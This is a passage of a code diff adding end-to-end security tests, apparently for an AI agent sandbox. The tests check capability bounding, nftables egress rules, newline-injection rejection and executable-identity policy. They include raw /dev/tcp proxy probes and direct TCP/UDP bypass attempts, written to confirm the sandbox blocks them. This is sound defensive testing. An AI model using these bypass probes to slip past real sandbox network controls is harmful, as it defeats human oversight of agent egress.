+      `exact-main ${surface} child exposed supervisor TLS identity: ${JSON.stringify(report.supervisorTlsEnvNames)}`,
+    );
+  }
+}
+
+function assertConnectChildProof(result: ShellProbeResult): void {
+  expectExitZero(result, "exact-main connect child security boundary");
+  const proofLines = resultText(result)
+    .replaceAll(/\u001b\[[0-9;?]*[ -/]*[@-~]/gu, "")
+    .split(/\r?\n/u)
+    .map((line) => line.trim())
+    .filter((line) => line.startsWith(`${CONNECT_CHILD_OK} CapBnd=`));
+  if (proofLines.length !== 1) {
+    throw new Error(`exact-main connect child emitted ${proofLines.length} proof markers`);
+  }
+  const capBnd = proofLines[0].slice(`${CONNECT_CHILD_OK} CapBnd=`.length);
+  if (!/^[0]+$/u.test(capBnd)) {
+    throw new Error(`exact-main connect child expected full CapBnd=0, got ${capBnd}`);
+  }
+}
+
+export async function assertExactMainChildProcessContracts(
+  host: HostCliClient,
+  sandboxName: string,
+): Promise<void> {
+  const containers = await host.command(
+    "docker",
+    [
+      "ps",
+      "--no-trunc",
+      "--filter",
+      "label=openshell.ai/managed-by=openshell",
+      "--filter",
+      `label=openshell.ai/sandbox-name=${sandboxName}`,
+      "--format",
+      "{{.ID}}\t{{.Names}}",
+    ],
+    {
+      artifactName: "exact-main-entrypoint-container-identity",
+      env: buildAvailabilityProbeEnv(),
+      timeoutMs: 30_000,
+    },
+  );
+  expectExitZero(containers, "exact-main entrypoint container discovery");
+  const containerId = exactMainDockerContainerId(containers.stdout, sandboxName);
+
+  // OpenShell makes workload children non-dumpable. Inspect the long-running
+  // entrypoint from the Docker container's root control plane so this proves
+  // that process itself rather than inferring its state from a fresh exec.
+  const entrypoint = await host.command(
+    "docker",
+    ["exec", "--user", "0", containerId, "python3", "-c", ENTRYPOINT_CHILD_PROBE],
+    {
+      artifactName: "exact-main-entrypoint-child-security-boundary",
+      env: buildAvailabilityProbeEnv(),
+      timeoutMs: 30_000,
+    },
+  );
+  assertChildProofReport(entrypoint, "entrypoint");
+
+  const execChild = await host.nemoclaw(
+    [sandboxName, "exec", "--", "python3", "-c", EXEC_CHILD_PROBE],
+    {
+      artifactName: "exact-main-exec-child-security-boundary",
+      env: buildAvailabilityProbeEnv(),
+      timeoutMs: 60_000,
+    },
+  );
+  assertChildProofReport(execChild, "exec");
+
+  // OpenShell main exposes connect only as a forced-TTY shell. Feed a bounded
+  // script on stdin and make the remote shell return the assertion status;
+  // an exact output marker distinguishes executed output from TTY input echo.
+  const connectChild = await host.command(
+    "bash",
+    [
+      "-lc",
+      'printf \'%s\\n\' "$1" | "$2" sandbox connect "$3"',
+      "exact-main-connect-child",
+      CONNECT_CHILD_PROBE,
+      host.openshellCommandPath,
+      sandboxName,
+    ],
+    {
+      artifactName: "exact-main-connect-child-security-boundary",
+      env: buildAvailabilityProbeEnv(),
+      timeoutMs: 90_000,
+    },
+  );
+  assertConnectChildProof(connectChild);
+}
+
+function expectExitNonZero(result: ShellProbeResult, label: string, pattern: RegExp): void {
+  expect(
+    result.exitCode,
+    `${label}\nstdout:\n${result.stdout}\nstderr:\n${result.stderr}`,
+  ).not.toBe(0);
+  expect(resultText(result)).toMatch(pattern);
+}
+
+export async function assertExactMainOpenShellContracts(
+  host: HostCliClient,
+  sandboxName: string,
+): Promise<void> {
+  // The stable release lane sets this gate and requires this proof before
+  // accepting the pinned OpenShell release. The historical environment name is
+  // retained so the proof helpers and their artifacts stay backward compatible.
+  if (process.env.NEMOCLAW_OPENSHELL_EXACT_MAIN_PROOF !== "1") return;
+
+  await assertExactMainChildProcessContracts(host, sandboxName);
+
+  const payload = "lf-one\ncrlf-two\r\nsingle-' double-\"\rbare-cr";
+  const encoder = [
+    "import base64, sys",
+    'print(base64.b64encode(sys.argv[1].encode("utf-8")).decode("ascii"))',
+  ].join("\n");
+  const encoded = await host.nemoclaw(
+    [sandboxName, "exec", "--", "python3", "-c", encoder, payload],
+    {
+      artifactName: "exact-main-multiline-argv-bytes",
+      env: buildAvailabilityProbeEnv(),
+      timeoutMs: 60_000,
+    },
+  );
+  expectExitZero(encoded, "exact-main multiline argv byte preservation");
+  expect(encoded.stdout.trim()).toBe(Buffer.from(payload, "utf8").toString("base64"));
+
+  const expectedHeredoc = "first line\nquote ' and double \"\nlast line\n";
+  const heredoc = [
+    "cat <<'NEMOCLAW_EXACT_MAIN_EOF'",
+    "first line",
+    "quote ' and double \"",
+    "last line",
+    "NEMOCLAW_EXACT_MAIN_EOF",
+  ].join("\n");
+  const heredocResult = await host.nemoclaw([sandboxName, "exec", "--", "bash", "-lc", heredoc], {
+    artifactName: "exact-main-multiline-heredoc",
+    env: buildAvailabilityProbeEnv(),
+    timeoutMs: 60_000,
+  });
+  expectExitZero(heredocResult, "exact-main literal heredoc execution");
+  expect(heredocResult.stdout).toBe(expectedHeredoc);
+
+  const invalidWorkdir = await host.command(
+    host.openshellCommandPath,
+    [
+      "sandbox",
+      "exec",
+      "--name",
+      sandboxName,
+      "--workdir",
+      "/tmp/invalid\r\nworkdir",
+      "--",
+      "true",
+    ],
+    {
+      artifactName: "exact-main-multiline-workdir-rejected",
+      env: buildAvailabilityProbeEnv(),
+      timeoutMs: 60_000,
+    },
+  );
+  expectExitNonZero(
+    invalidWorkdir,
+    "exact-main multiline workdir rejection",
+    /newline|carriage return/i,
+  );
+
+  const invalidEnvironment = await host.command(
+    host.openshellCommandPath,
+    [
+      "sandbox",
+      "exec",
+      "--name",
+      sandboxName,
+      "--env",
+      "NEMOCLAW_MULTILINE_VALUE=line-one\nline-two",
+      "--",
+      "true",
+    ],
+    {
+      artifactName: "exact-main-multiline-env-rejected",
+      env: buildAvailabilityProbeEnv(),
+      timeoutMs: 60_000,
+    },
+  );
+  expectExitNonZero(
+    invalidEnvironment,
+    "exact-main multiline environment rejection",
+    /newline|carriage return/i,
+  );
+}
diff --git a/test/e2e/live/openshell-exact-main-mcp-proof.ts b/test/e2e/live/openshell-exact-main-mcp-proof.ts
new file mode 100644
index 0000000000..2ae3c125a8
--- /dev/null
+++ b/test/e2e/live/openshell-exact-main-mcp-proof.ts
@@ -0,0 +1,55 @@
+// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
+// SPDX-License-Identifier: Apache-2.0
+
+import type { ArtifactSink } from "../fixtures/artifacts.ts";
+import type { CleanupRegistry } from "../fixtures/cleanup.ts";
+import type { HostCliClient } from "../fixtures/clients/host.ts";
+import type { SandboxClient } from "../fixtures/clients/sandbox.ts";
+import type { LifecyclePhaseFixture } from "../fixtures/phases/lifecycle.ts";
+import { prepareExactMainDriverConfigProof } from "./openshell-exact-main-driver-config.ts";
+import { assertExactMainOpenShellContracts } from "./openshell-exact-main-exec.ts";
+import {
+  assertExactMainMcpLogPrivacy,
+  assertExactMainPolicyNftAndIdentityContracts,
+} from "./openshell-exact-main-runtime-contracts.ts";
+
+export function prepareExactMainMcpProof(
+  fixture: {
+    artifacts: ArtifactSink;
+    cleanup: CleanupRegistry;
+    host: HostCliClient;
+    lifecycle: LifecyclePhaseFixture;
+    sandbox: SandboxClient;
+  },
+  sandboxName: string,
+  mcpUrl: string,
+) {
+  const { artifacts, cleanup, host, sandbox } = fixture;
+  const driverConfig = prepareExactMainDriverConfigProof(fixture, sandboxName);
+  return {
+    async afterOnboard(): Promise<void> {
+      await driverConfig.assertAfterOnboard();
+      await assertExactMainOpenShellContracts(host, sandboxName);
+      await assertExactMainPolicyNftAndIdentityContracts({
+        artifacts,
+        cleanup,
+        host,
+        mcpUrl,
+        sandbox,
+        sandboxName,
+      });
+    },
+    async afterRebuild(): Promise<void> {
+      await driverConfig.assertAfterRebuild();
+    },
+    async assertLogPrivacy(argumentCanaries: string[], expectedTool: string): Promise<void> {
+      await assertExactMainMcpLogPrivacy({
+        argumentCanaries,
+        artifacts,
+        expectedTool,
+        sandbox,
+        sandboxName,
+      });
+    },
+  };
+}
diff --git a/test/e2e/live/openshell-exact-main-runtime-contracts.ts b/test/e2e/live/openshell-exact-main-runtime-contracts.ts
new file mode 100644
index 0000000000..a5d5cbc342
--- /dev/null
+++ b/test/e2e/live/openshell-exact-main-runtime-contracts.ts
@@ -0,0 +1,915 @@
+// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
+// SPDX-License-Identifier: Apache-2.0
+
+import fs from "node:fs/promises";
+import os from "node:os";
+import path from "node:path";
+
+import YAML from "yaml";
+
+import { shellQuote } from "../../../src/lib/core/shell-quote";
+import { parseOpenShellPolicy } from "../../../src/lib/policy/merge";
+import type { ArtifactSink } from "../fixtures/artifacts.ts";
+import { buildAvailabilityProbeEnv } from "../fixtures/availability-env.ts";
+import type { CleanupRegistry } from "../fixtures/cleanup.ts";
+import { assertExitZero as expectExitZero, resultText } from "../fixtures/clients/command.ts";
+import type { HostCliClient } from "../fixtures/clients/host.ts";
+import {
+  type SandboxClient,
+  sandboxAccessEnv,
+  trustedSandboxShellScript,
+} from "../fixtures/clients/sandbox.ts";
+import { expect } from "../fixtures/e2e-test.ts";
+
+const EXACT_MAIN_POLICY_KEY = "exact_main_live_exe_identity";
+const LIVE_EXE_PATH = "/tmp/nemoclaw-exact-main-live-exe/live-bash";
+const NETNS_PROXY_HOST = "10.200.0.1";
+const NETNS_PROXY_PORT = 3128;
+const POLICY_TIMEOUT_MS = 120_000;
+const SANDBOX_CONTAINER_LABEL = "openshell.ai/sandbox-name";
+
+type JsonRecord = Record<string, unknown>;
+
+export interface ExactMainPolicyStatus {
+  activeVersion: number;
+  configRevision?: number;
+  hash: string;
+  policySource?: string;
+  sandbox: string;
+  status: string;
+  version: number;
+}
+
+export interface ExactMainNftInspection {
+  chainPolicy: string;
+  loopbackAcceptIndex: number;
+  proxyAcceptIndex: number;
+  rejectIndexes: Record<"ipv4Tcp" | "ipv4Udp" | "ipv6Tcp" | "ipv6Udp", number>;
+  ruleCount: number;
+}
+
+function isRecord(value: unknown): value is JsonRecord {
+  return typeof value === "object" && value !== null && !Array.isArray(value);
+}
+
+function requiredString(record: JsonRecord, key: string): string {
+  const value = record[key];
+  if (typeof value !== "string" || value.length === 0) {
+    throw new Error(`expected non-empty string ${key} in exact-main JSON output`);
+  }
+  return value;
+}
+
+function requiredInteger(record: JsonRecord, key: string): number {
+  const value = record[key];
+  if (!Number.isSafeInteger(value) || Number(value) < 0) {
+    throw new Error(`expected non-negative integer ${key} in exact-main JSON output`);
+  }
+  return Number(value);
+}
+
+export function parseExactMainPolicyStatus(raw: string): ExactMainPolicyStatus {
+  const parsed: unknown = JSON.parse(raw);
+  if (!isRecord(parsed)) throw new Error("exact-main policy status must be a JSON object");
+  const configRevision = parsed.config_revision;
+  const policySource = parsed.policy_source;
+  if (configRevision !== undefined && !Number.isSafeInteger(configRevision)) {
+    throw new Error("exact-main policy config_revision must be an integer when present");
+  }
+  if (policySource !== undefined && typeof policySource !== "string") {
+    throw new Error("exact-main policy policy_source must be a string when present");
+  }
+  return {
+    activeVersion: requiredInteger(parsed, "active_version"),
+    ...(configRevision === undefined ? {} : { configRevision: Number(configRevision) }),
+    hash: requiredString(parsed, "hash"),
+    ...(policySource === undefined ? {} : { policySource }),
+    sandbox: requiredString(parsed, "sandbox"),
+    status: requiredString(parsed, "status"),
+    version: requiredInteger(parsed, "version"),
+  };
+}
+
+function containsObject(value: unknown, predicate: (candidate: JsonRecord) => boolean): boolean {
+  if (Array.isArray(value)) return value.some((entry) => containsObject(entry, predicate));
+  if (!isRecord(value)) return false;
+  if (predicate(value)) return true;
+  return Object.values(value).some((entry) => containsObject(entry, predicate));
+}
+
+function containsScalar(value: unknown, expected: string | number): boolean {
+  if (value === expected) return true;
+  if (Array.isArray(value)) return value.some((entry) => containsScalar(entry, expected));
+  if (!isRecord(value)) return false;
+  return Object.values(value).some((entry) => containsScalar(entry, expected));
+}
+
+function hasVerdict(rule: JsonRecord, verdict: "accept" | "reject"): boolean {
+  return containsObject(rule, (candidate) => Object.hasOwn(candidate, verdict));
+}
+
+function hasMatch(rule: JsonRecord, selector: JsonRecord, right: string | number): boolean {
+  return containsObject(
+    rule,
+    (candidate) =>
+      isRecord(candidate.match) &&
+      containsObject(candidate.match, (nested) =>
+        Object.entries(selector).every(([key, value]) => nested[key] === value),
+      ) &&
+      candidate.match.right === right,
+  );
+}
+
+function nftRuleMatchesReject(
+  rule: JsonRecord,
+  family: "ipv4" | "ipv6",
+  protocol: "tcp" | "udp",
+): boolean {
+  return (
+    hasVerdict(rule, "reject") &&
+    hasMatch(rule, { key: "nfproto" }, family) &&
+    hasMatch(rule, { key: "l4proto" }, protocol) &&
+    containsScalar(rule, "port-unreachable")
+  );
+}
+
+export function inspectExactMainNftRuleset(raw: string): ExactMainNftInspection {
+  const parsed: unknown = JSON.parse(raw);
+  if (!isRecord(parsed) || !Array.isArray(parsed.nftables)) {
+    throw new Error("nft -j output must contain an nftables array");
+  }
+  const entries = parsed.nftables.filter(isRecord);
+  const table = entries
+    .map((entry) => entry.table)
+    .find(
+      (candidate) =>
+        isRecord(candidate) && candidate.family === "inet" && candidate.name === "openshell_bypass",
+    );
+  if (!table) throw new Error("missing inet openshell_bypass nft table");
+  const chain = entries
+    .map((entry) => entry.chain)
+    .find(
+      (candidate) =>
+        isRecord(candidate) &&
+        candidate.family === "inet" &&
+        candidate.table === "openshell_bypass" &&
+        candidate.name === "output",
+    );
+  if (!isRecord(chain)) throw new Error("missing openshell_bypass output chain");
+  if (
+    chain.type !== "filter" ||
+    chain.hook !== "output" ||
+    chain.prio !== 0 ||
+    chain.policy !== "accept"
+  ) {
+    throw new Error(
+      `unexpected openshell_bypass chain contract: ${JSON.stringify({
+        hook: chain.hook,
+        policy: chain.policy,
+        prio: chain.prio,
+        type: chain.type,
+      })}`,
+    );
+  }
+
+  const rules = entries
+    .map((entry) => entry.rule)
+    .filter(
+      (candidate): candidate is JsonRecord =>
+        isRecord(candidate) &&
+        candidate.family === "inet" &&
+        candidate.table === "openshell_bypass" &&
+        candidate.chain === "output",
+    );
+  const proxyAcceptIndex = rules.findIndex(
+    (rule) =>
+      hasVerdict(rule, "accept") &&
+      hasMatch(rule, { protocol: "ip", field: "daddr" }, NETNS_PROXY_HOST) &&
+      hasMatch(rule, { protocol: "tcp", field: "dport" }, NETNS_PROXY_PORT),
+  );
+  const loopbackAcceptIndex = rules.findIndex(
+    (rule) => hasVerdict(rule, "accept") && hasMatch(rule, { key: "oifname" }, "lo"),
+  );
+  if (proxyAcceptIndex < 0) throw new Error("missing exact proxy IPv4 accept rule");
+  if (loopbackAcceptIndex < 0) throw new Error("missing loopback accept rule");
+
+  const rejectKinds = [
+    ["ipv4Tcp", "ipv4", "tcp"],
+    ["ipv6Tcp", "ipv6", "tcp"],
+    ["ipv4Udp", "ipv4", "udp"],
+    ["ipv6Udp", "ipv6", "udp"],
+  ] as const;
+  const rejectIndexes = {} as ExactMainNftInspection["rejectIndexes"];
+  for (const [key, family, protocol] of rejectKinds) {
+    const matches = rules
+      .map((rule, index) => ({ index, matches: nftRuleMatchesReject(rule, family, protocol) }))
+      .filter((entry) => entry.matches);
+    if (matches.length !== 1) {
+      throw new Error(
+        `expected exactly one ${family} ${protocol} reject rule, got ${matches.length}`,
+      );
+    }
+    rejectIndexes[key] = matches[0]?.index ?? -1;
+  }
+
+  const firstReject = Math.min(...Object.values(rejectIndexes));
+  if (proxyAcceptIndex >= firstReject || loopbackAcceptIndex >= firstReject) {
+    throw new Error("nft accept rules must precede every required reject rule");
+  }
+  if (
+    !(
+      rejectIndexes.ipv4Tcp < rejectIndexes.ipv6Tcp &&
+      rejectIndexes.ipv6Tcp < rejectIndexes.ipv4Udp &&
+      rejectIndexes.ipv4Udp < rejectIndexes.ipv6Udp
+    )
+  ) {
+    throw new Error("required nft rejects are not in IPv4/IPv6 TCP then IPv4/IPv6 UDP order");
+  }
+  return {
+    chainPolicy: "accept",
+    loopbackAcceptIndex,
+    proxyAcceptIndex,
+    rejectIndexes,
+    ruleCount: rules.length,
+  };
+}
+
+function buildIdentityPolicy(basePolicyYaml: string, mcpUrl: string): string {
+  const parsed: unknown = YAML.parse(basePolicyYaml);
+  if (!isRecord(parsed)) throw new Error("OpenShell base policy must be a YAML mapping");
+  const networkPolicies = parsed.network_policies;
+  if (networkPolicies !== undefined && !isRecord(networkPolicies)) {
+    throw new Error("OpenShell network_policies must be a mapping");
+  }
+  const endpoint = new URL(mcpUrl);
+  const port = endpoint.port ? Number(endpoint.port) : endpoint.protocol === "https:" ? 443 : 80;
+  parsed.network_policies = {
+    ...(networkPolicies ?? {}),
+    [EXACT_MAIN_POLICY_KEY]: {
+      name: EXACT_MAIN_POLICY_KEY,
+      endpoints: [{ host: endpoint.hostname, port, access: "full", tls: "skip" }],
+      binaries: [{ path: LIVE_EXE_PATH }],
+    },
+  };
+  return YAML.stringify(parsed);
+}
+
+const LIVE_EXE_CONNECT_SCRIPT = String.raw`set -eu
+endpoint_host=$1
+endpoint_port=$2
+first_result=$3
+second_result=$4
+trigger=$5
+proxy_url=$(printenv HTTPS_PROXY 2>/dev/null || printenv https_proxy 2>/dev/null || printenv HTTP_PROXY 2>/dev/null || printenv http_proxy 2>/dev/null || true)
+[ -n "$proxy_url" ] || { printf '%s\n' 'proxy environment missing' >&2; exit 1; }
+proxy_authority=$(printf '%s' "$proxy_url" | sed -E 's#^[^:]+://##; s#/.*$##')
+proxy_host=$(printf '%s' "$proxy_authority" | cut -d: -f1)
+proxy_port=$(printf '%s' "$proxy_authority" | cut -d: -f2)
+[ -n "$proxy_host" ] && [ "$proxy_port" -ge 1 ] 2>/dev/null
+connect_status() {
+  status=000
+  if exec 7<>"/dev/tcp/$proxy_host/$proxy_port"; then
+    printf 'CONNECT %s:%s HTTP/1.1\r\nHost: %s:%s\r\nConnection: close\r\n\r\n' "$endpoint_host" "$endpoint_port" "$endpoint_host" "$endpoint_port" >&7
+    IFS=' ' read -r -t 30 _ status _ <&7 || status=000
+    exec 7<&-
+    exec 7>&-
+  fi
+  printf '%s\n' "$status"
+}
+connect_status > "$first_result"
+IFS= read -r _ < "$trigger"
+connect_status > "$second_result"`;
+
+const LIVE_EXE_ONESHOT_SCRIPT = String.raw`set -eu
+endpoint_host=$1
+endpoint_port=$2
+proxy_url=$(printenv HTTPS_PROXY 2>/dev/null || printenv https_proxy 2>/dev/null || printenv HTTP_PROXY 2>/dev/null || printenv http_proxy 2>/dev/null || true)
+[ -n "$proxy_url" ] || { printf '%s\n' '000'; exit 0; }
+proxy_authority=$(printf '%s' "$proxy_url" | sed -E 's#^[^:]+://##; s#/.*$##')
+proxy_host=$(printf '%s' "$proxy_authority" | cut -d: -f1)
+proxy_port=$(printf '%s' "$proxy_authority" | cut -d: -f2)
+status=000
+if exec 7<>"/dev/tcp/$proxy_host/$proxy_port"; then
+  printf 'CONNECT %s:%s HTTP/1.1\r\nHost: %s:%s\r\nConnection: close\r\n\r\n' "$endpoint_host" "$endpoint_port" "$endpoint_host" "$endpoint_port" >&7
+  IFS=' ' read -r -t 30 _ status _ <&7 || status=000
+  exec 7<&-
+  exec 7>&-
+fi
+printf '%s\n' "$status"`;
+
+export function buildExactMainLiveExeIdentityScript(mcpUrl: string): string {
+  const endpoint = new URL(mcpUrl);
+  const endpointPort = endpoint.port
+    ? Number(endpoint.port)
+    : endpoint.protocol === "https:"
+      ? 443
+      : 80;
+  const root = path.posix.dirname(LIVE_EXE_PATH);
+  return [
+    "set -eu",
+    `root=${shellQuote(root)}`,
+    `live=${shellQuote(LIVE_EXE_PATH)}`,
+    'old_pid=""',
+    'trap \'if [ -n "${old_pid:-}" ]; then kill "$old_pid" 2>/dev/null || true; fi; rm -rf "$root"\' EXIT',
+    'rm -rf "$root"',
+    'mkdir -p "$root"',
+    "bash_source=$(command -v bash)",
+    '[ -n "$bash_source" ]',
+    'cp "$bash_source" "$live"',
+    'chmod 0755 "$live"',
+    'first="$root/old-first.status"',
+    'second="$root/old-second.status"',
+    'trigger="$root/old-second.trigger"',
+    'mkfifo "$trigger"',
+    `worker_script=${shellQuote(LIVE_EXE_CONNECT_SCRIPT)}`,
+    `oneshot_script=${shellQuote(LIVE_EXE_ONESHOT_SCRIPT)}`,
+    `"$live" -c "$worker_script" exact-main-old ${shellQuote(endpoint.hostname)} ${endpointPort} "$first" "$second" "$trigger" &`,
+    "old_pid=$!",
+    "wait_for_result() {",
+    "  result_path=$1",
+    "  attempts=0",
+    '  while [ ! -s "$result_path" ]; do',
+    '    if ! kill -0 "$old_pid" 2>/dev/null; then',
+    "      printf 'old process exited before result: %s\\n' \"$result_path\" >&2",
+    "      exit 1",
+    "    fi",
+    "    attempts=$((attempts + 1))",
+    '    [ "$attempts" -lt 300 ] || { printf \'timed out waiting for %s\\n\' "$result_path" >&2; exit 1; }',
+    "    sleep 0.1",
+    "  done",
+    "}",
+    'wait_for_result "$first"',
+    "old_first=$(tr -d '\\r\\n' < \"$first\")",
+    '[ "$old_first" = 200 ]',
+    'replacement="$root/live-bash.next"',
+    'cp "$live" "$replacement"',
+    "printf '\\nNEMOCLAW_EXACT_MAIN_REPLACEMENT\\n' >> \"$replacement\"",
+    'chmod 0755 "$replacement"',
+    'mv -f "$replacement" "$live"',
+    'old_exe=$(readlink "/proc/$old_pid/exe")',
+    "old_hash=$(sha256sum \"/proc/$old_pid/exe\" | awk '{print $1}')",
+    "new_hash=$(sha256sum \"$live\" | awk '{print $1}')",
+    '[ "$old_hash" != "$new_hash" ]',
+    "printf 'go\\n' > \"$trigger\"",
+    'wait_for_result "$second"',
+    "old_second=$(tr -d '\\r\\n' < \"$second\")",
+    '[ "$old_second" = 200 ]',
+    'wait "$old_pid"',
+    'old_pid=""',
+    `new_status=$("$live" -c "$oneshot_script" exact-main-new ${shellQuote(endpoint.hostname)} ${endpointPort} | tr -d '\\r\\n')`,
+    "printf 'NEMOCLAW_LIVE_EXE_OLD_FIRST=%s\\n' \"$old_first\"",
+    "printf 'NEMOCLAW_LIVE_EXE_OLD_SECOND=%s\\n' \"$old_second\"",
+    "printf 'NEMOCLAW_LIVE_EXE_NEW=%s\\n' \"$new_status\"",
+    "printf 'NEMOCLAW_LIVE_EXE_OLD_LINK=%s\\n' \"$old_exe\"",
+    "printf 'NEMOCLAW_LIVE_EXE_OLD_HASH=%s\\n' \"$old_hash\"",
+    "printf 'NEMOCLAW_LIVE_EXE_NEW_HASH=%s\\n' \"$new_hash\"",
+    '[ "$old_first" = 200 ]',
+    '[ "$old_second" = 200 ]',
+    '[ "$new_status" = 403 ]',
+  ].join("\n");
+}
+
+const BYPASS_SERVER_CODE = String.raw`import os
+import selectors
+import socket
+import sys
+
+ready_path = sys.argv[1]
+bind_host = sys.argv[2]
+tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+tcp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+tcp.bind((bind_host, 0))
+port = tcp.getsockname()[1]
+tcp.listen(8)
+udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+udp.bind((bind_host, port))
+selector = selectors.DefaultSelector()
+selector.register(tcp, selectors.EVENT_READ, "tcp")
+selector.register(udp, selectors.EVENT_READ, "udp")
+with open(ready_path, "w", encoding="utf-8") as ready:
+    ready.write(f"{os.getpid()} {port}\n")
+    ready.flush()
+while True:
+    for key, _ in selector.select(timeout=30):
+        if key.data == "tcp":
+            client, _ = tcp.accept()
+            with client:
+                client.settimeout(2)
+                payload = client.recv(4096)
+                client.sendall(payload or b"NEMOCLAW_TCP_ECHO")
+        else:
+            payload, address = udp.recvfrom(4096)
+            udp.sendto(payload or b"NEMOCLAW_UDP_ECHO", address)`;
+
+const START_BYPASS_SERVER_SCRIPT = String.raw`ready=$1
+log=$2
+server_code=$3
+bind_host=$4
+rm -f "$ready" "$log"
+nohup python3 -c "$server_code" "$ready" "$bind_host" >"$log" 2>&1 </dev/null &
+pid=$!
+attempts=0
+while [ ! -s "$ready" ]; do
+  if ! kill -0 "$pid" 2>/dev/null; then
+    cat "$log" >&2 || true
+    exit 1
+  fi
+  attempts=$((attempts + 1))
+  [ "$attempts" -lt 100 ] || { cat "$log" >&2 || true; exit 1; }
+  sleep 0.1
+done
+cat "$ready"`;
+
+const DIRECT_BYPASS_PROBE_CODE = String.raw`import errno
+import json
+import socket
+import sys
+import time
+
+host = sys.argv[1]
+port = int(sys.argv[2])
+
+def tcp_probe():
+    started = time.monotonic()
+    connected = False
+    error = None
+    try:
+        with socket.create_connection((host, port), timeout=3) as stream:
+            connected = True
+            stream.sendall(b"NEMOCLAW_TCP_BYPASS")
+            stream.recv(128)
+    except OSError as exc:
+        error = {"errno": exc.errno, "name": type(exc).__name__, "text": str(exc)}
+    return {"connected": connected, "elapsedMs": round((time.monotonic() - started) * 1000), "error": error}
+
+def udp_probe():
+    started = time.monotonic()
+    echoed = False
+    error = None
+    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+    sock.settimeout(3)
+    try:
+        sock.connect((host, port))
+        sock.send(b"NEMOCLAW_UDP_BYPASS")
+        echoed = sock.recv(128) == b"NEMOCLAW_UDP_BYPASS"
+    except OSError as exc:
+        error = {"errno": exc.errno, "name": type(exc).__name__, "text": str(exc)}
+    finally:
+        sock.close()
+    return {"echoed": echoed, "elapsedMs": round((time.monotonic() - started) * 1000), "error": error}
+
+result = {"tcp": tcp_probe(), "udp": udp_probe()}
+print(json.dumps(result, sort_keys=True))
+tcp_error = result["tcp"]["error"] or {}
+udp_error = result["udp"]["error"] or {}
+if result["tcp"]["connected"] or result["udp"]["echoed"]:
+    raise SystemExit(1)
+if tcp_error.get("errno") != errno.ECONNREFUSED or udp_error.get("errno") != errno.ECONNREFUSED:
+    raise SystemExit(1)
+if result["tcp"]["elapsedMs"] >= 2500 or result["udp"]["elapsedMs"] >= 2500:
+    raise SystemExit(1)`;
+
+async function findSandboxContainer(
+  host: HostCliClient,
+  sandboxName: string,
+  artifactName: string,
+): Promise<string> {
+  const result = await host.command(
+    "docker",
+    [
+      "ps",
+      "--no-trunc",
+      "--filter",
+      "label=openshell.ai/managed-by=openshell",
+      "--filter",
+      `label=${SANDBOX_CONTAINER_LABEL}=${sandboxName}`,
+      "--format",
+      "{{.ID}}",
+    ],
+    { artifactName, env: buildAvailabilityProbeEnv(), timeoutMs: 30_000 },
+  );
+  expectExitZero(result, `locate OpenShell sandbox container ${sandboxName}`);
+  const ids = result.stdout.trim().split(/\s+/u).filter(Boolean);
+  expect(ids, resultText(result)).toHaveLength(1);
+  return ids[0] ?? "";
+}
+
+async function inspectNftRules(
+  host: HostCliClient,
+  containerId: string,
+  artifactName: string,
+): Promise<{ inspection: ExactMainNftInspection; raw: string }> {
+  const script = [
+    "set -- /var/run/netns/sandbox-*",
+    '[ "$#" -eq 1 ] && [ -e "$1" ] || { printf \'expected exactly one sandbox netns\\n\' >&2; exit 1; }',
+    "namespace=${1##*/}",
+    'exec ip netns exec "$namespace" nft -j list table inet openshell_bypass',
+  ].join("\n");
+  const result = await host.command(
+    "docker",
+    ["exec", "--user", "0", containerId, "sh", "-ceu", script],
+    { artifactName, env: buildAvailabilityProbeEnv(), timeoutMs: 30_000 },
+  );
+  expectExitZero(result, "inspect exact-main nft bypass rules");
+  return { inspection: inspectExactMainNftRuleset(result.stdout), raw: result.stdout };
+}
+
+async function readPolicyStatus(
+  sandbox: SandboxClient,
+  sandboxName: string,
+  args: string[],
+  artifactName: string,
+): Promise<ExactMainPolicyStatus> {
+  const result = await sandbox.openshell(
+    ["policy", "get", ...args, sandboxName, "--output", "json"],
+    {
+      artifactName,
+      env: sandboxAccessEnv(),
+      timeoutMs: POLICY_TIMEOUT_MS,
+    },
+  );
+  expectExitZero(result, `read exact-main policy status for ${sandboxName}`);
+  return parseExactMainPolicyStatus(result.stdout);
+}
+
+async function waitForRestartedPolicy(
+  sandbox: SandboxClient,
+  sandboxName: string,
+  expected: ExactMainPolicyStatus,
+): Promise<{ effective: ExactMainPolicyStatus; revision: ExactMainPolicyStatus }> {
+  const deadline = Date.now() + POLICY_TIMEOUT_MS;
+  let last = "no status response";
+  while (Date.now() < deadline) {
+    try {
+      const revision = await readPolicyStatus(
+        sandbox,
+        sandboxName,
+        ["--rev", String(expected.version)],
+        "exact-main-policy-revision-after-restart",
+      );
+      const effective = await readPolicyStatus(
+        sandbox,
+        sandboxName,
+        [],
+        "exact-main-policy-effective-after-restart",
+      );
+      if (
+        revision.status === "loaded" &&
+        revision.hash === expected.hash &&
+        revision.activeVersion === expected.version &&
+        effective.status === "effective" &&
+        effective.hash === expected.hash &&
+        effective.version === expected.version
+      ) {
+        return { effective, revision };
+      }
+      last = JSON.stringify({ effective, revision });
+    } catch (error) {
+      last = error instanceof Error ? error.message : String(error);
+    }
+    await new Promise((resolve) => setTimeout(resolve, 1_000));
+  }
+  throw new Error(`timed out waiting for exact policy identity after restart: ${last}`);
+}
+
+async function waitForInitialPolicyAcknowledgement(
+  sandbox: SandboxClient,
+  sandboxName: string,
+  version: number,
+): Promise<string> {
+  const marker = `Acknowledged initial policy revision as loaded [version:${version}]`;
+  const deadline = Date.now() + 60_000;
+  let last = "";
+  while (Date.now() < deadline) {
+    const logs = await sandbox.openshell(
+      ["logs", sandboxName, "-n", "4000", "--since", "10m", "--source", "sandbox"],
+      {
+        artifactName: "exact-main-initial-policy-acknowledgement",
+        env: sandboxAccessEnv(),
+        timeoutMs: 30_000,
+      },
+    );
+    if (logs.exitCode === 0) {
+      last = logs.stdout;
+      if (last.includes(marker)) return marker;
+    } else {
+      last = resultText(logs);
+    }
+    await new Promise((resolve) => setTimeout(resolve, 1_000));
+  }
+  throw new Error(`missing exact initial policy acknowledgement ${marker}\n${last}`);
+}
+
+async function stopBypassServer(
